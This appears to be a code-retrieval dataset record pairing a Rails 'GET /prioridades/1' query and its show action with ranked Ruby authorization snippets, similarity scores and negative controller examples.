"def canBeExecutedBy? user\n unless user.class == Modeles::User\n username = user.to_s\n user = Modeles::User.find_by_name username\n unless user\n @errors << \"User #{username} doesn't exists\"\n return false\n end\n end\n if user.isAdmin == 1\n return true\n elsif user.name == @user\n if @userRights == 1 or @userRights == 5 or @userRights == 7\n return true\n else\n return false\n end\n elsif isIncludedIn? user.groups, @group\n if @groupRights == 1 or @groupRights == 5 or @groupRights == 7\n return true\n else\n return false\n end\n else\n if @othersRights == 1 or @othersRights == 5 or @othersRights == 7\n return true\n else\n return false\n end\n end\n end",
"def check_work_user\n owner = Work.friendly.find(params[:id]).user\n unless owner == current_user || current_user.is_admin?\n store_location\n flash[:error] = 'You are not authorized to perform this action.'\n redirect_to login_path\n end\n end",
"def publishable?(user)\n user.present? && !public?\n end",
"def share_cases?(account)\n if [AppConstants::PRIVILEGE[:super_user],AppConstants::PRIVILEGE[:admin],AppConstants::PRIVILEGE[:user_manager]].include?(portal_privilege) and account == company\n true\n else\n false\n end\n end",
"def readable_by?(user)\n user.in_session?(resource) || user.admin_for?(resource.course)\n end",
"def enforce_is_admin_or_is_current_user\n bounce unless is_admin? or is_current_user?\n end",
"def admin? ; user.instance_of? User and user.role >= 2 ; end",
"def webs_sitebuilder?\n fw_sig_is_admin == '1'\n end",
"def user_authorized?(user)\n user == current_user || is_admin?\n end",
"def authorize?(user)\n user && user.moderator?\n end",
"def is_user_trainer\n unless current_user.trainer?\n \tredirect_to(root_url)\n \tflash[:danger] = \"You do not have permission to view this page\"\n end\n end",
"def is_hem\n if current_user.id == Order.find(params[:id]).user_id\n\n else\n redirect_to home_path\n end\n end",
"def is_moderator?\n self.current_user && self.current_user.has_system_role('moderator')\n\tend",
"def curator?\n role == 'superuser' || role == 'curator' || role == 'tenant_curator'\n end",
"def can_be_administered_by?(user = User.current_user)\n return false unless user\n user.is_admin? || user.is_project_administrator?(self) || user.is_programme_administrator?(programme)\n end",
"def system?\n id == User::SYSTEM_USER_ID\n end",
"def system?\n id == User::SYSTEM_USER_ID\n end",
"def restricted?\n return ( self.user_type == User::USER_TYPE_NORMAL )\n end",
"def creatable_by?(user)\n user.administrator?\n end",
"def is_managed_by?(user)\n user&.person&.is_project_administrator_of_any_project? || user&.person&.is_programme_administrator_of_any_programme?\n end",
"def permission_required \n render_403 unless admin? || @user == current_user\n end",
"def readable_by?(user)\n return true if user.has_role?(:admin, resource.unit)\n return true if user.has_role?(:wizard, resource.unit)\n user == resource\n end",
"def enabled?\n user.present?\n end",
"def check_change_principle\n user_has_packages? || user_first_order? ? true : false\n end",
"def run_action?\n admin? || cluster_owner?\n end",
"def readable_by? user\n true\n end",
"def authorized_by(user)\n user.id == self.sender_id\n end",
"def admin_or_staff?\n admin? || staff?\n end",
"def foreign_visitor?\n not user\n end",
"def seller?\n self.has_role? :seller \n end",
"def user?\n is_a?(Merit::User)\n end",
"def can?\n current_user\n end",
"def isCampaignOwner\r\n\t\t@campaign.user_id == session[:user_id]\r\n\tend",
"def ensure_is_authorized_to_view\n @is_member_of_company = (@relation == :company_admin_own_site || @relation == :company_employee || @relation == :rentog_admin_own_site)\n\n # ALLOWED\n return if @relation == :rentog_admin ||\n @relation == :rentog_admin_own_site ||\n @relation == :domain_supervisor ||\n @relation == :company_admin_own_site\n\n\n # NOT ALLOWED\n # with error message\n flash[:error] = t(\"listing_events.you_have_to_be_company_member\")\n redirect_to root\n return false\n end",
"def routine_owner\n record.user == user\n end",
"def allows_current_user_access_to?(_perform, _with_options = nil)\n return true unless master_user\n end",
"def admin_only\n current_client == current_user\n unless current_user.admin? || @client == current_user\n redirect_to clients_path, :alert => \"Access denied.\"\n end\n end",
"def licenseable\n object.user.id == current_user.id\n end",
"def has_own_providers?\n if is_reseller?\n common_use_provider_count > 0\n else\n raise \"User is not reseller, he cannot have providers\"\n end\n end",
"def requester?(person)\n (share_type.is_request? && author.eql?(person)) || (share_type.is_offer? && !author.eql?(person))\n end",
"def licensed_by?(context)\n if context.guest?\n false\n else\n accepted_licenses.exists?(user_id: context.user_id, state: [nil, 'active'])\n end\n end",
"def server?\n @role == :server\n end",
"def mine?\n user && user.username == Codeplane.username\n end",
"def app_user?\n member_type == MEMBER_TYPE[:app]\n end",
"def _accessible? user_or_id, edit_or_view\n # get user id\n user_id = user_or_id.to_i\n # quick response if user is self.agent\n return true if self.agent_id == user_id\n # get user object\n user = user_or_id.is_a?(Fixnum) ? Usage::User.find(user_or_id) : user_or_id\n if user.super?\n return true\n elsif user.agent? or user.manager?\n return true if _accessible_through_family?(user, edit_or_view)\n elsif user.sales_support?\n return true if _accessible_for_sales_support?(user)\n end\n false\n end",
"def current_or_guest_user?\n !current_or_guest_user.nil?\n end",
"def current_user\n current_admin || current_nonprofit\n end",
"def sold_by_business? \r\n user.is_business? rescue false\r\n end",
"def current_user_can_endorse?\n current_user && endorsements_enabled? && !endorsements_blocked?\n end",
"def seller? usr\r\n seller_id == usr.id rescue nil\r\n end",
"def service_user(_user)\n can :access, :stats\n can :access, :export unless RuntimeConfig.elections_active?\n can :access, :voters if RuntimeConfig.elections_started? && RuntimeConfig.elections_active?\n end",
"def normal_user?\n self.admin ==false\n end",
"def check_correct_user(user)\n \tcurrent_user?(user)\n end",
"def ensure_user\n current_user? || deny_access('You must be logged in to perform this action.')\n end",
"def sender? usr\n usr.id == user_id\n end",
"def satisfied_by?(_user)\n raise NotImplementedError\n end",
"def staff?\n admin || moderator\n end",
"def is_user_moderator?(user)\n result = false\n if(user)\n if user.has_system_role('moderator')\n result = true\n end\n\n\n if(created_by==user.id)\n result = true\n end\n\n self.publishers.each do |organism|\n if organism.is_user_moderator?(user)\n result = true\n end\n end\n end\n return result\n\t\n end"
] |
[
"0.70089364",
"0.6857658",
"0.65950155",
"0.6573277",
"0.65287334",
"0.6484968",
"0.64253455",
"0.63954407",
"0.63953245",
"0.6387228",
"0.6359739",
"0.6357843",
"0.63400614",
"0.63039094",
"0.62891704",
"0.62762445",
"0.62679696",
"0.62429106",
"0.6236025",
"0.623381",
"0.6216644",
"0.62153596",
"0.62135506",
"0.6213196",
"0.62075996",
"0.61845946",
"0.6179971",
"0.6173182",
"0.61621064",
"0.6162098",
"0.61484396",
"0.6139841",
"0.6129979",
"0.61249316",
"0.61106193",
"0.610698",
"0.6102325",
"0.6100164",
"0.609409",
"0.60916954",
"0.60768616",
"0.60720843",
"0.60620433",
"0.60588026",
"0.6053525",
"0.60520107",
"0.6045572",
"0.6041843",
"0.60234064",
"0.60211706",
"0.60138863",
"0.6011548",
"0.60044926",
"0.6000518",
"0.59856033",
"0.59848404",
"0.5982563",
"0.59792846",
"0.5979089",
"0.5979089",
"0.59788346",
"0.5971834",
"0.597085",
"0.5969913",
"0.5966348",
"0.5963722",
"0.59594804",
"0.5955355",
"0.59529936",
"0.5948367",
"0.5936094",
"0.5932126",
"0.5930944",
"0.59278667",
"0.592361",
"0.5922526",
"0.59212536",
"0.59171367",
"0.5916162",
"0.5916055",
"0.5915667",
"0.5903506",
"0.59024346",
"0.59020025",
"0.5900943",
"0.58925706",
"0.5889291",
"0.58887243",
"0.5888424",
"0.5883377",
"0.5882603",
"0.5882366",
"0.5874397",
"0.5872025",
"0.5871974",
"0.5871499",
"0.58699375",
"0.58642274",
"0.5863483",
"0.5856564",
"0.585276"
] |
0.0
|
-1
|
GET /prioridades/1 GET /prioridades/1.json
|
def show
@prioridade = Prioridade.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.json { render json: @prioridade }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_prioridad\n @prioridad = Prioridad.find(params[:id])\n end",
"def priorities\n Sifter.\n get(\"/api/priorities\").\n parsed_response[\"priorities\"]\n end",
"def index\n @prioridads = Prioridad.all\n end",
"def show\n @prioridade_adocao = PrioridadeAdocao.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prioridade_adocao }\n end\n end",
"def new\n @prioridade = Prioridade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prioridade }\n end\n end",
"def priorities\n render :json => {:data => Project::Priorities}\n end",
"def create\n @prioridade = Prioridade.new(params[:prioridade])\n\n respond_to do |format|\n if @prioridade.save\n format.html { redirect_to @prioridade, notice: 'Prioridade was successfully created.' }\n format.json { render json: @prioridade, status: :created, location: @prioridade }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prioridade.errors, status: :unprocessable_entity }\n end\n end\n end",
"def prioridad_params\n params.require(:prioridad).permit(:descripcion, :valor)\n end",
"def create\n @prioridad = Prioridad.new(prioridad_params)\n\n respond_to do |format|\n if @prioridad.save\n format.html { redirect_to @prioridad, notice: 'Se ha creado una nueva Prioridad.' }\n format.json { render :show, status: :created, location: @prioridad }\n else\n format.html { render :new }\n format.json { render json: @prioridad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @prioridade_adocao = PrioridadeAdocao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prioridade_adocao }\n end\n end",
"def index\n @crate_priorities = CratePriority.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @crate_priorities }\n end\n end",
"def index\n @trabajo = Trabajo.find(params[:trabajo_id])\n @presupuestos = @trabajo.presupuestos.order(\"aprobado DESC, rechazado ASC\")\n\n add_breadcrumb @trabajo.proposito, trabajo_path(@trabajo)\n add_breadcrumb \"Presupuestos\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @presupuestos }\n end\n end",
"def index\n @reqpriorities = Reqpriority.all\n end",
"def show\n @prior = Prior.find(params[:id])\n @id = params[:id]\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @prior }\n format.csv { render :csv => @prior }\n format.json { render :json => @prior }\n end\n end",
"def update\n @prioridade = Prioridade.find(params[:id])\n\n respond_to do |format|\n if @prioridade.update_attributes(params[:prioridade])\n format.html { redirect_to @prioridade, notice: 'Prioridade was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @prioridade.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @relationships = @relationships.order(created_at: :desc).page(params[:page])\n\n respond_to do |format|\n format.html { @relationships = @relationships.includes(:follower, :followed) }\n format.json {}\n end\n end",
"def show\n @prepagada = Prepagada.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prepagada }\n end\n end",
"def index\n @trpriorities = Trpriority.all\n end",
"def update\n respond_to do |format|\n if @prioridad.update(prioridad_params)\n format.html { redirect_to @prioridad, notice: 'Se ha actualizado la Prioridad.' }\n format.json { render :show, status: :ok, location: @prioridad }\n else\n format.html { render :edit }\n format.json { render json: @prioridad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @prioridade = Prioridade.find(params[:id])\n @prioridade.destroy\n\n respond_to do |format|\n format.html { redirect_to prioridades_url }\n format.json { head :no_content }\n end\n end",
"def index\n @precincts = Precinct.all(:order => \"number\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @precincts }\n end\n end",
"def show\n @preceed = Preceed.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @preceed }\n end\n end",
"def show\n @prevision = Prevision.includes(topes: :socio, apartados: :rubro).find(params[:id])\n end",
"def show\n @historial = Historial.find(params[:id])\n @receta = Recete.histori(@historial.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @historial }\n end\n end",
"def new\n @prior = Prior.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prior }\n format.csv { render :csv => @prior }\n format.json { render :json => @prior }\n end\n end",
"def show\n @premio = Premio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @premio }\n end\n end",
"def create\n @prioridade_adocao = PrioridadeAdocao.new(params[:prioridade_adocao])\n\n respond_to do |format|\n if @prioridade_adocao.save\n format.html { redirect_to @prioridade_adocao, notice: 'Prioridade adocao was successfully created.' }\n format.json { render json: @prioridade_adocao, status: :created, location: @prioridade_adocao }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prioridade_adocao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @predios = Predio.all\n end",
"def create\n @prior = Prior.new(params[:prior])\n\n respond_to do |format|\n if @prior.save\n flash[:notice] = 'Prior was successfully created.'\n format.html { redirect_to( edit_prior_path(@prior) ) }\n format.xml { render :xml => @prior, :status => :created, :location => @prior }\n format.csv { render :csv => @prior, :status => :created, :location => @prior }\n format.json { render :json => @prior, :status => :created, :location => @prior }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @prior.errors, :status => :unprocessable_entity }\n format.csv { render :csv => @prior.errors, :status => :unprocessable_entity }\n format.json { render :json => @prior.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @preorder = Preorder.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @preorder }\n end\n end",
"def grab_professors\n professor_size = User.where(:professor => true).length\n current_offset = (params[:payload][:pagenumber] - 1)*10\n direction = params[:payload][:direction]\n\n respond_to do |format|\n format.json {\n\n if current_offset + direction < professor_size && current_offset + direction >= 0\n offset = current_offset + direction\n @professors = User.where(:professor => true).offset(offset).take(10)\n render :json => @professors\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n\n }\n end\n end",
"def show\n @cliente = Cliente.find(params[:cliente_id])\n @pago = @cliente.pagos.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pago }\n end\n end",
"def show\n @preparatoria_o_universidad_de_origen = PreparatoriaOUniversidadDeOrigen.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @preparatoria_o_universidad_de_origen }\n end\n end",
"def show\n @breadcrumb = 'read'\n @prereading = PreReading.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prereading }\n end\n end",
"def index\n @task_priorities = TaskPriority.all.order(level: :desc)\n end",
"def index\n @preparatoria_o_universidad_de_origens = PreparatoriaOUniversidadDeOrigen.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @preparatoria_o_universidad_de_origens }\n end\n end",
"def followers\n @relations = @user.followers.paginate(page: params[:page], per_page: 10)\n respond_to do |format|\n format.html\n format.amp\n format.json\n format.js\n end\n end",
"def load_product_priorities\n @new_product_priority = ProductPriority.new\n @product_priorities = ProductPriority.order(:name)\n end",
"def show\n @pre_step = PreStep.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pre_step }\n end\n end",
"def index\n @trips = Trip.desc.all\n @latest_trip = @trips.first\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @trips }\n end\n end",
"def index\n @prueba_jsons = PruebaJson.all\n end",
"def index\n @contato_produtos = ContatoProduto.all.sort! { |a,b| b.id <=> a.id }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contato_produtos }\n end\n end",
"def index\n @laboratorios = Laboratorio.all\n # render json: @laboratorios\n sql = \"select * from laboratorios order by nombre\"\n @laboratorios = Laboratorio.paginate_by_sql(sql, :page => params[:page], :per_page => 7)\n end",
"def set_pre_contrato\n @pre_contrato = PreContrato.find(params[:id])\n end",
"def show\n @tipo_pregunta = TipoPregunta.find(params[:id])\n\n render json: @tipo_pregunta\n end",
"def index\n @languages = Language.priority_ordered\n respond_with(@languages)\n end",
"def index\n @premios = Premio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @premios }\n end\n end",
"def show\n @request = Request.find(params[:id])\n #@sorted_trips = @request.get_sorted_trips\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @request }\n end\n end",
"def situations_arrivals_countries_three\n @situations_arrivals_countries = SituationsArrivalsCountry.where(status:true, id: [1,2,3]).order('name ASC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @situations_arrivals_countries}\n end\n end",
"def user_info\n user = User.find_by(id: params[:id])\n progresses = user.progresses.select {|p| p.habit.user.id == params[:id]} \n \n render json: progresses\n end",
"def index\n # @prenotations = Prenotation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @prenotations }\n end\n end",
"def ppg_status\n params[:page] ||= 1\n\n default_ppg_status_code = \"1\"\n @ppg_status_code = params[:ppg_status_code] || default_ppg_status_code\n\n result = PpgStatusHistory.current_ppg_status.with_status(@ppg_status_code).select(\"distinct ppg_status_histories.*, people.last_name\").joins(\n \"inner join participant_person_links on participant_person_links.participant_id = ppg_status_histories.participant_id\n inner join people on people.id = participant_person_links.person_id\"\n ).where(\"participant_person_links.relationship_code = '1'\").order(\"people.last_name\")\n @ppg_statuses = result.paginate(:page => params[:page], :per_page => 20)\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render :json => result.all }\n end\n end",
"def index\n @teachers = Teacher.order(:tea_no).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @teachers }\n end\n end",
"def index\n @endorsements = Endorsement.active_and_inactive.by_recently_created(:include => [:user,:priority]).paginate :page => params[:page], :per_page => params[:per_page]\n respond_to do |format|\n format.html { redirect_to yours_priorities_url }\n format.xml { render :xml => @endorsements.to_xml(:include => [:user, :priority], :except => NB_CONFIG['api_exclude_fields']) }\n format.json { render :json => @endorsements.to_json(:include => [:user, :priority], :except => NB_CONFIG['api_exclude_fields']) }\n end\n end",
"def index\n @puntajes = Puntaje.paginate(:page => params[:page], :per_page => 10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @puntajes }\n end\n end",
"def index\n @prepairs = Prepair.all\n end",
"def index\n @prendas = Prenda.all\n end",
"def index\n @cpm_priorities = CpmPriority.all\n end",
"def passed\n # the non-preliminary ones go first\n @proposals = Proposal.select{ |p| p.committee.preliminary == false and p.status == 'Passed'}\n @proposals += Proposal.select{ |p| p.committee.preliminary == true and p.status == 'Passed'}\n\n respond_to do |format|\n format.html # passed.html.erb\n format.json { render json: @proposals }\n end\n end",
"def show\n @servidor = Servidor.find(params[:id])\n @q = @servidor.pontos.ransack(params[:q])\n @q.sorts = 'nome'\n @pontos = @q.result.page params[:page]\n @autenticacoes = @servidor.autenticacoes.order(authdate: :desc).page params[:page]\n end",
"def first\n @comic = Comic.order(\"created_at ASC\").first\n respond_to do |format|\n format.html { render 'show' }\n format.json { render json: @comic }\n end\n end",
"def first\n @comic = Comic.order(\"created_at ASC\").first\n respond_to do |format|\n format.html { render 'show' }\n format.json { render json: @comic }\n end\n end",
"def index\n @ventas_presupuestos = Ventas::Presupuesto.paginate(:page => params[:page], :per_page => 5)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ventas_presupuestos }\n end\n end",
"def follower\n @users = User.find(params[:id]).followers\n render json: @users\n end",
"def get_ponto\n render json: Usuario.ultimo_ponto(params[:user_id], params[:evento_id]).to_json\n end",
"def index\n @project_id = params[:project_id]\n if params[:status] == nil\n @stories = Story.where(:project_id => @project_id)\n @stories.sort! { |a,b| a.prioridad <=> b.prioridad }\n else\n\tif params[:status][:id]==\"\"\n\t @stories = Story.where(:project_id => @project_id)\n\t @stories.sort! { |a,b| a.prioridad <=> b.prioridad }\n \n\telse\n\t @statusid = params[:status][:id]\n @stories = Story.where(\"status_id = ? AND project_id = ?\", params[:status][:id], @project_id)\n\t @statusid = params[:status][:id]\n\t @stories.sort! { |a,b| a.prioridad <=> b.prioridad }\n \n end\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @stories }\n format.json { render json: @statusid }\n end\n end",
"def index\n @pre_contratos = PreContrato.all\n end",
"def new\n @prepagada = Prepagada.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prepagada }\n end\n end",
"def index\n @previsiones = Prevision.para_listar\n end",
"def service_priorities_id_get_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PrioritiesApi.service_priorities_id_get ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling PrioritiesApi.service_priorities_id_get\"\n end\n # resource path\n local_var_path = \"/service/priorities/{id}\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Priority')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PrioritiesApi#service_priorities_id_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def new\n @liquidacion = Liquidacion.new\n\n #Levanto de conceptos, todos los conceptos que son requeridos para liquidacion de auxiliares \n @conceptos = Concepto.where(:anhomes => 201407).order(:codigo_concepto) \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @liquidacion }\n end\n end",
"def index\n @clientes = Cliente.order(:nome).page params[:page]\n end",
"def show\n @precinct = Precinct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @precinct }\n end\n end",
"def index\n @projects = Project.includes(:participants).all\n\n render json: @projects, include: :participants, status: 200\n end",
"def new\n @preorder = Preorder.new\n @title = \"tugowa\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @preorder }\n end\n end",
"def index\n @participates = Participate.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @participates }\n end\n end",
"def show\n @primer = Primer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @primer }\n end\n end",
"def current_statuses_three\n @current_statuses = CurrentStatus.where(status:true, id: [1,2,3]).order('name ASC')\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @current_statuses}\n end\n end",
"def show\n @admin_agency = Admin::Agency.where(:id => params[:id]).includes(:pages)[0]\n \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_agency }\n end\n end",
"def followers\n @person = Person.find(params[:id]) \n @project = Project.find(params[:project_id])\n @persons = @person.get_all_followers\n \n respond_to do |format|\n format.html # followers.html.erb\n format.xml { render :xml => @persons }\n end\n \n end",
"def index\n @categorias = Categoria.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @categorias }\n end\n end",
"def show\n @articulo = Articulo.find(params[:id])\n @noticias = Articulo.where(\"tipo = 'noticia'\").order(\"created_at desc\")\n @title = @articulo.titulo\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articulo }\n end\n end",
"def set_historial_estado_presupuesto\n @historial_estado_presupuesto = HistorialEstadoPresupuesto.find(params[:id])\n end",
"def show\n @requirement_priority = RequirementPriority.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @requirement_priority }\n end\n end",
"def show\n @puntaje = Puntaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @puntaje }\n end\n end",
"def show\n @puntaje = Puntaje.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @puntaje }\n end\n end",
"def fetch\n follows = Follow.where(follower_id: params[:user_id])\n paginate json: follows.to_json(:include => :following)\n end",
"def index\n @challenges = Challenge.order(:id)\n .includes(:user)\n .page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @challenges }\n end\n end",
"def index\n @proteins = Protein.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proteins }\n end\n end",
"def index\n \n @interests = Interest.find(@interestsId)\n \n if params[:persona_id] == nil \n @interests = Interest.order(:name) \n end\n \n respond_to do |format|\n format.json { render :json => @interests }\n end\n end",
"def show\n @before_intership = BeforeIntership.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @before_intership }\n end\n end",
"def show\n @photo = Photo.find(params[:id])\n @next = Photo.unscoped.order('photos.id ASC').where(\"id > #{@photo.id}\").limit(1).first\n @prev = Photo.unscoped.order('photos.id DESC').where(\"id < #{@photo.id}\").limit(1).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @photo }\n end\n end",
"def index\n @usuarios = Usuario.por_colegio(colegio.id).order(\"nombre\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usuarios }\n end\n end",
"def index\n @anuncios = Anuncio.all.paginate(page: params[:page], per_page: 4 )\n\n respond_to do |format|\n format.html\n format.json { render json: @jobs }\n end\n end",
"def show\n @prime = Prime.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @prime }\n end\n end",
"def show\n @crate_priority = CratePriority.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @crate_priority }\n end\n end",
"def set_preorder_conversition\n @preorder_conversition = @preorder_conversitions.find(params[:id])\n end",
"def index\n @proposals = Proposal.all\n\n render json: @proposals\n end",
"def priority\r\n\t\t\t`#{BITS::BITSADMIN} /getpriority {#{@id}}`\r\n\t\tend",
"def index\n @prises = Prise.all.order(:moment)\n end"
] |
[
"0.68602914",
"0.6778299",
"0.6587319",
"0.63708174",
"0.635255",
"0.6246057",
"0.6198486",
"0.57488686",
"0.5736397",
"0.5710488",
"0.56294835",
"0.56272113",
"0.5626058",
"0.55687815",
"0.5524008",
"0.543677",
"0.53907895",
"0.5309862",
"0.5302487",
"0.5298157",
"0.5276758",
"0.5276701",
"0.52748525",
"0.5244145",
"0.51998025",
"0.5163064",
"0.51310307",
"0.511533",
"0.5084596",
"0.50779974",
"0.50532764",
"0.50530326",
"0.50482243",
"0.5046336",
"0.5037658",
"0.5023389",
"0.5009509",
"0.4992527",
"0.49906325",
"0.49888486",
"0.4982426",
"0.4976649",
"0.49731055",
"0.49712458",
"0.49668995",
"0.49658346",
"0.49649423",
"0.4953054",
"0.49446058",
"0.49408594",
"0.49396893",
"0.49329466",
"0.49293962",
"0.4929137",
"0.49263474",
"0.49240983",
"0.49175262",
"0.49164104",
"0.49027407",
"0.4897823",
"0.48931706",
"0.48931706",
"0.4887079",
"0.48843238",
"0.48788428",
"0.48761958",
"0.48760757",
"0.4870228",
"0.4868666",
"0.48648342",
"0.4860618",
"0.485502",
"0.48535675",
"0.48527446",
"0.4849304",
"0.4842053",
"0.48414925",
"0.48399648",
"0.48390374",
"0.4832884",
"0.4830555",
"0.48227906",
"0.48206398",
"0.4817885",
"0.4816781",
"0.4816781",
"0.48155344",
"0.48100033",
"0.48069745",
"0.48028818",
"0.48002782",
"0.4794171",
"0.4787739",
"0.47871938",
"0.47866434",
"0.47813007",
"0.47804344",
"0.47800007",
"0.47796986",
"0.47786468"
] |
0.7228111
|
0
|
GET /prioridades/new GET /prioridades/new.json
|
def new
@prioridade = Prioridade.new
respond_to do |format|
format.html # new.html.erb
format.json { render json: @prioridade }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @prioridade = Prioridade.new(params[:prioridade])\n\n respond_to do |format|\n if @prioridade.save\n format.html { redirect_to @prioridade, notice: 'Prioridade was successfully created.' }\n format.json { render json: @prioridade, status: :created, location: @prioridade }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prioridade.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @prioridad = Prioridad.new(prioridad_params)\n\n respond_to do |format|\n if @prioridad.save\n format.html { redirect_to @prioridad, notice: 'Se ha creado una nueva Prioridad.' }\n format.json { render :show, status: :created, location: @prioridad }\n else\n format.html { render :new }\n format.json { render json: @prioridad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @prioridade_adocao = PrioridadeAdocao.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prioridade_adocao }\n end\n end",
"def new\n @prior = Prior.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @prior }\n format.csv { render :csv => @prior }\n format.json { render :json => @prior }\n end\n end",
"def create\n @prioridade_adocao = PrioridadeAdocao.new(params[:prioridade_adocao])\n\n respond_to do |format|\n if @prioridade_adocao.save\n format.html { redirect_to @prioridade_adocao, notice: 'Prioridade adocao was successfully created.' }\n format.json { render json: @prioridade_adocao, status: :created, location: @prioridade_adocao }\n else\n format.html { render action: \"new\" }\n format.json { render json: @prioridade_adocao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @prepagada = Prepagada.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prepagada }\n end\n end",
"def new\n @change = @priority.changes.new\n if @priority.has_change?\n flash[:error] = t('changes.new.already_proposed', :priority_name => @priority.change.new_priority.name)\n return\n end\n respond_to do |format|\n format.html # new.html.erb\n format.js {\n render :update do |page|\n page.select('#priority_' + @priority.id.to_s + '_change_form').each {|item| item.remove}\n page.insert_html :top, 'activities', render(:partial => \"new_inline\", :locals => {:change => @change, :priority => @priority})\n page['change_new_priority_name'].focus\n end \n } \n end\n end",
"def new\n @preceed = Preceed.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @preceed }\n end\n end",
"def new\n @pre = Pre.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pre }\n end\n end",
"def new\n @prob = Prob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prob }\n end\n end",
"def new\n @premio = Premio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @premio }\n end\n end",
